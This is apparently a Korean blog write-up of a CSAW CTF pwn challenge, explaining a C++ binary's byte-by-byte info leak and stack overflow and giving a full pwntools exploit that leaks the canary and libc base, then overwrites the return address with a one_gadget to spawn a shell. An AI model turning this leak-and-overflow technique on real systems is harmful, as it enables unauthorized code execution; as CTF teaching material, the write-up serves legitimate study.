c++
바이너리로 문제화돼서 한 번 풀어봤는데 어려웠다..
이 문제를 통해 알아갈 수 있었던 것이 많았으므로 라업을 한번 써본다.
krrr@ubuntu:~/pwn/csaw/arevenge$ file a.out
a.out: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=93f2e298bd1e9cd9f8bf146f0b7bdb545b2c6d73, not stripped
krrr@ubuntu:~/pwn/csaw/arevenge$ ldd a.out
linux-vdso.so.1 (0x00007ffe8b45c000)
libstdc++.so.6 => /usr/lib/x86_64-linux-gnu/libstdc++.so.6 (0x00007f9a8ff9f000)
libm.so.6 => /lib/x86_64-linux-gnu/libm.so.6 (0x00007f9a8fc01000)
libgcc_s.so.1 => /lib/x86_64-linux-gnu/libgcc_s.so.1 (0x00007f9a8f9e9000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f9a8f5f8000)
/lib64/ld-linux-x86-64.so.2 (0x00007f9a9052c000)
c++
관련 라이브러리가 포함되어 있다.
메인 함수의 switch
부분이다. 굉장히 간단하다.
A
함수에서 leak
이 발생하고 B
함수에서 stack overflow
가 발생한다.
취약점도 굉장히 간단하고, 코드 길이도 짧지만 c++ STL
을 모른다면 분석하기 힘들 것이다.
A
함수를 좀 더 살펴보자.
std::begin
, std::end
를 사용하여 iterator
를 생성한 뒤 이를 비교한다.
여기서, get
함수의 size
검사가 존재하지 않으므로 한 바이트씩 비교하며 leak
이 가능해진다.
B
함수는 아주 간단하므로 패스하자.
이제 간단하게 canary
를 leak
하고, oneshot
하면 쉘을 얻을 수 있다.
from pwn import *
context.arch = 'amd64'
#context.log_level= 'debug'
#stdout = subprocess.PIPE
#stdin = subprocess.PIPE
#stdout = process.PTY
#stdin = process.PTY
e = ELF('a.out')
s = connect('pwn.chal.csaw.io', 1003)
#s = process(e.path)
#s = process(e.path, stdout=stdout, stdin=stdin)
l = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
#l = ELF('1', checksec=False)
ru = lambda x: s.recvuntil(x)
sl = lambda x: s.sendline(x)
p = lambda : pause()
io = lambda : s.interactive()
sla = lambda x,y: s.sendlineafter(x,y)
sa = lambda x,y: s.sendafter(x,y)
def menu(sel):
sl(sel)
def A(data):
menu('1')
sl(str(len(data)))
sl(data)
return "found" in s.recvline()
def B(data):
menu('2')
sl(str(len(data)))
sl(data)
sp = set(['\t', ' ', '\n', '\x0b', '\x0c', '\r'])
def leak(size, secret):
length = len(secret)
for _ in range(size):
for j in range(256):
if chr(j) not in sp:
if A(secret + chr(j)):
secret += chr(j)
break
print len(secret[length:])
return secret[length:]
secret = 'A'*8
B(secret)
cookie = u64(leak(8, secret))
log.info('cookie: {}'.format(hex(cookie)))
secret = 'A'*56
B(secret)
l_base = u64(leak(8, secret)) - 0x21b97
log.info('l_base: {}'.format(hex(l_base)))
one_list = [0x4f2c5, 0x4f322, 0x10a38c]
one = l_base + one_list[0]
secret = 'A'*8 # buf
secret += p64(cookie) # cookie
secret += 'A'*8 # rbp
secret += p64(one)
secret = secret.ljust(0x100, '\x00')
B(secret)
sl('3')
io()
'system > writeup' 카테고리의 다른 글
2018 bctf houseofatum (0) | 2019.12.01 |
---|---|
2019 d3ctf new_heap (0) | 2019.11.30 |
2019 hack.lu chat (0) | 2019.11.12 |
2019 hitcon lazyhouse (0) | 2019.11.06 |
2019 hitcon trick_or_treat (0) | 2019.11.04 |